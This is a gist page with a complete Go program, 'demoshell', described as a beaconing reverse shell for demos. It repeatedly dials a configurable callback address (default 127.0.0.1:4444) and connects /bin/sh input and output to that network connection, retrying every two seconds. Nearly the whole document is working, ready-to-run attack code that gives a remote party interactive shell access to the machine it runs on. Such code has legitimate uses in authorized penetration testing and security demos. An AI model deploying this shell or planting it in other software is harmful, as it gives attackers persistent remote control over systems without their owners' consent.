Created
April 4, 2018 08:35
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reverse shell with go
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| // demoshell is a nifty beaconing shell useful for demos | |
| package main | |
| /* | |
| * demoshell.go | |
| * Simple reverse shell used in demos | |
| * By J. Stuart McMurray | |
| * Created 20180331 | |
| * Last Modified 20180331 | |
| */ | |
| import ( | |
| "flag" | |
| "fmt" | |
| "log" | |
| "net" | |
| "os" | |
| "os/exec" | |
| "time" | |
| ) | |
| /* Verbose logger */ | |
| var vlog = log.Printf | |
| func main() { | |
| var ( | |
| addr = flag.String( | |
| "addr", | |
| "127.0.0.1:4444", | |
| "Callback `adress`", | |
| ) | |
| sleep = flag.Duration( | |
| "sleep", | |
| 2*time.Second, | |
| "Sleep `duration` between callbacks", | |
| ) | |
| verbose = flag.Bool( | |
| "v", | |
| false, | |
| "Print message for each connection", | |
| ) | |
| ) | |
| flag.Usage = func() { | |
| fmt.Fprintf( | |
| os.Stderr, | |
| `Usage %v [options] | |
| Calls the address every so often and hooks up a shell to the network | |
| connection. | |
| Options: | |
| `, | |
| os.Args[0], | |
| ) | |
| flag.PrintDefaults() | |
| } | |
| flag.Parse() | |
| /* Unverbose just disables extra logging */ | |
| if !*verbose { | |
| vlog = func(string, ...interface{}) {} | |
| } | |
| log.Printf("Starting shell callbacks to %v", *addr) | |
| for { | |
| /* Try to make a shell */ | |
| if err := shell(*addr); nil != err { | |
| vlog("Error: %v", err) | |
| } | |
| /* Sleep until the next one */ | |
| time.Sleep(*sleep) | |
| } | |
| } | |
| /* shell connects to addr and hands it a shell */ | |
| func shell(addr string) error { | |
| /* Try to connect */ | |
| c, err := net.Dial("tcp", addr) | |
| if nil != err { | |
| return err | |
| } | |
| vlog("Connected %v->%v", c.LocalAddr(), c.RemoteAddr()) | |
| defer c.Close() | |
| /* Make a shell to hook up */ | |
| s := exec.Command("/bin/sh") | |
| s.Stdin = c | |
| s.Stdout = c | |
| s.Stderr = c | |
| /* Welcome the user */ | |
| fmt.Fprintf(c, "Welcome!\n") | |
| /* Start the shell */ | |
| return s.Run() | |
| } |
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